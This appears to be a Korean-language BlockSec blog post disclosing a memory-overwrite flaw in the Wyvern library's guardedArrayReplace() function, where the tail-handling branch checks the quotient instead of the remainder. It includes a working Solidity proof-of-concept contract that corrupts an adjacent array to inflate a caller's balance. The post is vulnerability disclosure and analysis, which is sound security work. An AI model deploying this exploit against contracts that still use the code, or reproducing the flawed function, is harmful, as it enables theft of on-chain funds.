Back to Blog

와이번 프로토콜에서 새로운 메모리 덮어쓰기 취약점 발견

Code Auditing
September 8, 2022
6 min read

소개

저희의 취약점 탐지 시스템은 이전에 OpenSea에서 사용되었던 Wyvern 탈중앙화 거래소 프로토콜에 속한 Wyvern 라이브러리의 최신 구현에서 메모리 덮어쓰기 취약점을 발견했습니다. 이 버그는 임의의 스토리지 쓰기로 이어질 수 있습니다.

저희는 이메일 및 소셜 미디어 등을 통해 해당 프로젝트에 연락을 시도했지만, 아직 응답을 받지 못했습니다. OpenSea가 Seaport 프로토콜로 마이그레이션한 만큼, 상세 정보를 공개적으로 공개하는 것이 안전하다고 판단했습니다. 또한 이 버그 자체가 다소 까다롭고 그 악용 방식이 꽤 흥미롭기 때문에, 커뮤니티와 이러한 발견을 공유하고자 합니다.

설명

취약한 코드는 커밋 해시 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9로 공식 코드 저장소에서 확인할 수 있습니다.

구체적으로, 이 버그는 ArrayUtils.sol의 guardedArrayReplace() 함수에 존재합니다. 이름에서 알 수 있듯이, 이 함수는 하나의 동적 크기 바이트 배열(즉, _desired_라는 두 번째 매개변수)을 다른 배열(즉, _array_라는 첫 번째 매개변수)에 선택적으로 복사하는 데 사용됩니다. 이 함수는 워드 수준(즉, 0x20 바이트) 연산을 수행하도록 구현되어 있으며, 따라서 코드 로직은 나눗셈 결과에 따라 두 단계로 나눌 수 있습니다.

몫 부분(즉, words = array.length / 0x20)에 대해, 42번째 줄부터 49번째 줄까지의 코드 로직은 desired 배열을 대상 배열에 워드 단위로 복사합니다. 39번째 줄의 assert 문은 정수 산술로 인해 무용지물이지만, 이 단계는 예상대로 작동합니다.

이전 단계 이후, 나눗셈에서 나머지가 발생하면 올바르게 복사되지 않은 바이트가 남아 있다는 것을 의미합니다. 52번째 줄부터 66번째 줄까지의 코드 로직은 해당 바이트들을 처리하기 위해 설계되었습니다. 안타깝게도, 52번째 줄의 if 문은 검사를 수행할 때 나머지(array.length % 0x20) 대신 몫(words, 즉 array.length / 0x20)을 잘못 사용하고 있습니다.

심각도

이 버그는 임의의 스토리지 쓰기로 이어질 수 있습니다. _array.length_가 _0x20_으로 정확히 나누어떨어지는 경우, 복사 연산은 실제로 루프 로직에서 완료됩니다. 그러나 대부분의 경우, 함수는 취약한 로직으로 진입하여 desired 배열 뒤의 워드를 대상 배열에 복사하려 시도하며, 이는 필연적으로 범위를 벗어난 접근을 유발합니다. 더 나아가, 잘못된 로직은 대상 배열의 끝에 워드를 덮어쓰는 데 악용될 수 있으며, 이는 어떤 용도로도 사용될 수 있는 알 수 없는 메모리 영역입니다.

이 버그를 어떻게 악용할 수 있나요?

저희는 잠재적인 공격 벡터를 설명하기 위한 PoC 컨트랙트를 개발했습니다. PoC 컨트랙트에는 두 가지 함수가 있으며, _test()_라는 첫 번째 함수는 공격을 수행하는 데 사용되고, 두 번째 함수는 취약한 guardedArrayReplace() 함수입니다.

구체적으로, test() 함수에서 먼저 메모리 내 바이트(a, b, mask)와 배열(즉, _rewards)을 정의합니다. 여기서 정의된 __rewards_는 사용자의 보상을 계산하는 데 사용됩니다. _mask_를 사용하여 _a_를 _b_에 복사하기 위해 guardedArrayReplace() 함수를 호출한 후, __rewards_는 사용자의 잔액(즉, balances[msg.sender])에 추가됩니다.

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

여기서는 Remix를 사용하여 결과를 시연합니다. 초기에는 __rewards_와 _balances_에 어떠한 값도 할당하지 않았다는 점에 주목할 필요가 있습니다. 악용 후, 사용자 잔액이 극도로 큰 값으로 설정됩니다(빨간색 사각형 참조).

결론

드물기는 하지만, 이러한 메모리 덮어쓰기 취약점은 스마트 컨트랙트에 여전히 존재할 수 있습니다. 개발자들은 메모리를 조작하는 코드 로직에 주의를 기울여야 합니다.

BlockSec 소개

BlockSec은 2021년 세계적으로 著名한 보안 전문가 그룹에 의해 설립된 선도적인 블록체인 보안 회사입니다. 이 회사는 대중적 채택을 촉진하기 위해 신흥 Web3 세계의 보안성과 사용성을 향상시키는 데 전념하고 있습니다. 이를 위해 BlockSec은 스마트 컨트랙트 및 EVM 체인 보안 감사 서비스, 보안 개발 및 능동적 위협 차단을 위한 Phalcon 플랫폼, 자금 추적 및 조사를 위한 MetaSleuth 플랫폼, 그리고 크립토 세계를 효율적으로 탐색하는 Web3 빌더를 위한 MetaDock 확장 프로그램을 제공합니다.

현재까지 MetaMask, Uniswap Foundation, Compound, Forta, PancakeSwap 등 300개 이상의 저명한 고객사에 서비스를 제공했으며, Matrix Partners, Vitalbridge Capital, Fenbushi Capital 등 著名한 투자자들로부터 두 차례의 투자 라운드에서 수천만 달러를 유치했습니다.

공식 웹사이트: https://blocksec.com/

공식 트위터 계정: https://twitter.com/BlockSecTeam

Sign up for the latest updates
~$410만 손실: Taiko, SecondFi 익스플로잇 | BlockSec 위클리
Security Insights

~$410만 손실: Taiko, SecondFi 익스플로잇 | BlockSec 위클리

이 주간 블록체인 보안 리포트는 2026년 6월 22~28일 발생한 주요 사건 2건을 다루며, 이더리움과 카르다노에서 약 410만 달러의 피해가 확인됐습니다. Taiko 브릿지 공격은 노출된 SGX 서명 키와 디버그 엔클레이브를 거부하지 못한 증명 정책 결함을 이용해 악성 증명자를 등록하고 L2 상태 증명을 위조했습니다. SecondFi 지갑은 Ed25519 논스 도출 시 비밀 입력이 제거되는 결함으로 공개 트랜잭션 데이터만으로 개인 키 복구가 가능했습니다.

~$18M 손실: jaredFromSubway, Aztec 등 | BlockSec 위클리
Security Insights

~$18M 손실: jaredFromSubway, Aztec 등 | BlockSec 위클리

이 주간 블록체인 보안 보고서는 2026년 6월 15일~21일을 다루며, 이더리움과 BNB 체인에서 3건의 주요 사고가 발생해 약 $18.3M의 손실이 발생했습니다. jaredFromSubway 사건은 MEV 봇이 차익거래를 위해 신뢰할 수 없는 제3자 컨트랙트에 자산을 승인한 역방향 승인 공격으로, 가짜 래퍼 토큰과 스왑 풀을 이용해 약 $15M 손실이 발생했습니다. Aztec은 이스케이프 해치 ZK 회로의 제약 누락으로 공격자가 가짜 머클 트리로 온체인 검증을 통과했습니다.

Web3 컴패니언: 오픈소스 보안 에이전틱 지갑

Web3 컴패니언: 오픈소스 보안 에이전틱 지갑

BlockSec가 Web3 Companion을 오픈소스로 공개했습니다. 이 보안 중심의 에이전트 지갑은 자체 AI 에이전트를 신뢰하지 않는 방식으로 설계되었으며, 키 격리, 강력한 정책, Passkey를 활용해 온체인 자산을 보호합니다.

Best Security Auditor for Web3

Validate design, code, and business logic before launch. Aligned with the highest industry security standards.

BlockSec Audit